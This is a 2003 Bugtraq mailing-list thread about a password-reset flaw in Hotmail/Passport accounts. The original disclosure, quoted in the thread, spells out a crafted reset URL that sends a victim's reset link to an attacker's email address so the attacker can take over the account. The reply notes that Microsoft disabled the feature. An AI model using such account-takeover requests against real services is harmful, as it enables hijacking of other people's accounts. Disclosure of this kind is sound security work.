bugtraq - [VulnDiscuss] Re: Hotmail & Passport (.NET Accounts) Vulnerability

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Date: Thu, 8 May 2003 14:10:35 +0100
From: "Dan Carter" <d.p.carter@...caster.ac.uk>
To: <mfrd@...itudex.com>
Cc: <bugtraq@...urityfocus.com>,
	<vulnwatch@...nwatch.org>
Subject: [VulnDiscuss] Re: Hotmail & Passport (.NET Accounts) Vulnerability

Microsoft disabled the reset password feature as of approximately 11:30 pm.
- Dan

----- Original Message -----
From: "Muhammad Faisal Rauf Danka" <mfrd@...itudex.com>
To: <bugtraq@...urityfocus.com>
Cc: <vulnwatch@...nwatch.org>
Sent: Thursday, May 08, 2003 3:52 AM
Subject: [VulnWatch] Hotmail & Passport (.NET Accounts) Vulnerability

Hotmail & Passport (.NET Accounts) Vulnerability

There is a very serious and stupid vulnerability or badcoding in Hotmail /
Passport’s (.NET Accounts)

I tried sending emails several times to Hotmail / Passport contact
addresses, but always met with the NLP bots.

I guess I don’t need to go in details of how cruical and important Hotmail /
Passport’s .NET Account passport is to anyone.

You name it and they have it, E-Commerce, Credit Card processing, Personal
Emails, Privacy Issues, Corporate Espionage, maybe stalkers and what not.

It is so simple that it is funny.

All you got to do is hit the following in your browser:

https://register.passport.net/emailpwdreset.srf?lc=1033&em=victim@hotmail.co
m&id=&cb=&prefem=attacker@...acker.com&rst=1

And you’ll get an email on attacker@...acker.com asking you to click on a
url something like this:

http://register.passport.net/EmailPage.srf?EmailID=CD4DC30B34D9ABC6&URLNum=0
&lc=1033

>From that url, you can reset the password and I don’t think I need to say
anything more about it.

Vulnerability / Flaw discovered : 12th April 2003
Vendor / Owner notified : Yes (as far as emailing them more than 10 times is
concerned)

Regards
--------
Muhammad Faisal Rauf Danka

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